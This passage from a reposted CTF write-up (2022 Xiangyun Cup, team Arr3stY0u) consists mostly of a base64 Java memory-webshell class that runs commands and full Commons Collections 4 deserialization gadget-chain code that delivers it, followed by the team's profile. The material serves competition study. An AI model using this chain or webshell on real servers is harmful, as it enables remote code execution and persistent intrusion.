ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXJhbXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vSGVhZGVyc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Qcm9kdWNlc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0Q29uZGl0aW9uOylWAQAPcmVnaXN0ZXJNYXBwaW5nAQBuKExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7KVYBAApnZXRSZXF1ZXN0AQApKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAKigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEABWZsdXNoAQAJc2VuZEVycm9yAQAEKEkpVgAhAAgAOQAAAAAABgABADoAOwACADwAAAEFAAkACAAAAHEqtwABuAACEgMDuQAEAwDAAAVMKxIGuQAHAgDAAAZNEggSCQO9AAq2AAtOuwAMWQS9AA1ZAxIOU7cADzoEuwAQWQO9ABG3ABI6BbsAE1kZBBkFAQEBAQG3ABQ6BrsACFkSFbcAFjoHLBkGGQcttgAXsQAAAAIAPQAAACoACgAAABYABAAYABMAGQAfABoAKwAbAD0AHABKAB0AXAAeAGcAHwBwACAAPgAAAFIACAAAAHEAPwBAAAAAEwBeAEEAQgABAB8AUgBDAEQAAgArAEYARQBGAAMAPQA0AEcASAAEAEoAJwBJAEoABQBcABUASwBMAAYAZwAKAE0AQAAHAE4AAAAGAAIATwBQAAEAOgBRAAIAPAAAAD0AAQACAAAABSq3AAGxAAAAAgA9AAAACgACAAAAIgAEACQAPgAAABYAAgAAAAUAPwBAAAAAAAAFAFIAUwABAFQAAAAFAQBSAAAAAQBVADsAAgA8AAAB4QAGAAgAAADGuAACwAAYwAAYtgAZTLgAAsAAGMAAGLYAGk0suQAbAQBOKxIcuQAdAgA6BBIeOgUSH7gAILYAIRIitgAjmQAiuwAkWQa9AA1ZAxIlU1kEEiZTWQUZBFO3ACc6BqcAH7sAJFkGvQANWQMSKFNZBBIpU1kFGQRTtwAnOga7ACpZGQa2ACu2ACy3AC0SLrYALzoHGQe2ADCZAAsZB7YAMacABRkFOgUZB7YAMi0ZBbYAMy22ADQttgA1pwAOOgUsEQGUuQA3AgCxAAEAKwC3ALoANgADAD0AAABKABIAAAAnAA0AKAAaACkAIQAqACsALAAvAC4APwAvAF4AMQB6ADMAkAA0AKQANQCpADYArwA3ALMAOAC3ADsAugA5ALwAOgDFADwAPgAAAGYACgBbAAMAVgBXAAYALwCIAFgAUwAFAHoAPQBWAFcABgCQACcAWQBaAAcAvAAJAFsAXAAFAAAAxgA/AEAAAAANALkAXQBeAAEAGgCsAF8AYAACACEApQBhAGIAAwArAJsAYwBTAAQAZAAAAEUABv8AXgAGBwBlBwBmBwBnBwBoBwBpBwBpAAD8ABsHAGr8ACUHAGtBBwBp/wAXAAUHAGUHAGYHAGcHAGgHAGkAAQcAbAoATgAAAAQAAQA2AAEAbQBuAAMAPAAAAD8AAAADAAAAAbEAAAACAD0AAAAGAAEAAABAAD4AAAAgAAMAAAABAD8AQAAAAAAAAQBvAHAAAQAAAAEAcQByAAIATgAAAAQAAQBzAFQAAAAJAgBvAAAAcQAAAAEAbQB0AAMAPAAAAEkAAAAEAAAAAbEAAAACAD0AAAAGAAEAAABEAD4AAAAqAAQAAAABAD8AQAAAAAAAAQBvAHAAAQAAAAEAdQB2AAIAAAABAHcAeAADAE4AAAAEAAEAcwBUAAAADQMAbwAAAHUAAAB3AAAACQB5AHoAAwA8AAAAQQACAAIAAAAJuwAIWbcAOEyxAAAAAgA9AAAACgACAAAARwAIAEgAPgAAABYAAgAAAAkAewB8AAAACAABAH0AQAABAE4AAAAEAAEANgBUAAAABQEAewAAAAEAfgAAAAIAfw==

然后构造cc4的链子

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javassist.ClassPool;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.PriorityQueue;public class CC4 { public static void main(String[] args) throws Exception{ //byte[] code = ClassPool.getDefault().get("shell").toBytecode(); byte[] code = Base64.getDecoder().decode("yv66vgAAADQA7QoAOQCACg..."); //内存马的 base64 TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_name", "aaa"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), //instantiateTransformer new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator comparator = new TransformingComparator(chainedTransformer); //PriorityQueue 实例 PriorityQueue priorityQueue = new PriorityQueue(2); //先设置为正常变量值,后面可以通过 setFieldValue 修改 priorityQueue.add(1); priorityQueue.add(1); //反射设置 Field Object[] objects = new Object[]{templates,1}; setFieldValue(priorityQueue, "queue", objects); setFieldValue(priorityQueue, "comparator", comparator); serialize(priorityQueue); //unserialize("ser.bin"); } public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static void serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); } public static Object unserialize(String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; }}

2022 第三届“祥云杯” writeup by Arr3stY0u

2022 第三届祥云杯 writeup by Arr3stY0u

Footer


山海关安全团队官网:

https://www.shg-sec.com/

招新&合作联系:[email protected]


简介:

    山海关安全团队是一支专注网络安全的实战型团队,总人数已达30余人,在役活跃成员超过10人,团队大部分成员来自国内高校,企事业单位。


    Arr3stY0u是山海关安全团队旗下的CTF战队,积极参与国内外各大小型CTF竞赛,持续招收Web, Crypto, Misc, Pwn, Blockchain选手。


部分荣誉:

2021.10 某基金诈骗案调查技术支持(省督,金额¥2000000000)

2021.11 深信服某产品漏洞报送证书

2022.07 首届数字空间安全攻防大赛DSCTF 初赛 6th

2022.08 第六届强网杯 线上&线下 三等奖

2022.09 2022 羊城杯 三等奖

2022.10 美团MTCTF 三等奖

2022 第三届祥云杯 writeup by Arr3stY0u

原文始发于微信公众号(Arr3stY0u):2022 第三届“祥云杯” writeup by Arr3stY0u

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月2日10:35:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2022 第三届祥云杯 writeup by Arr3stY0uhttps://cn-sec.com/archives/1381818.html

发表评论

匿名网友 填写信息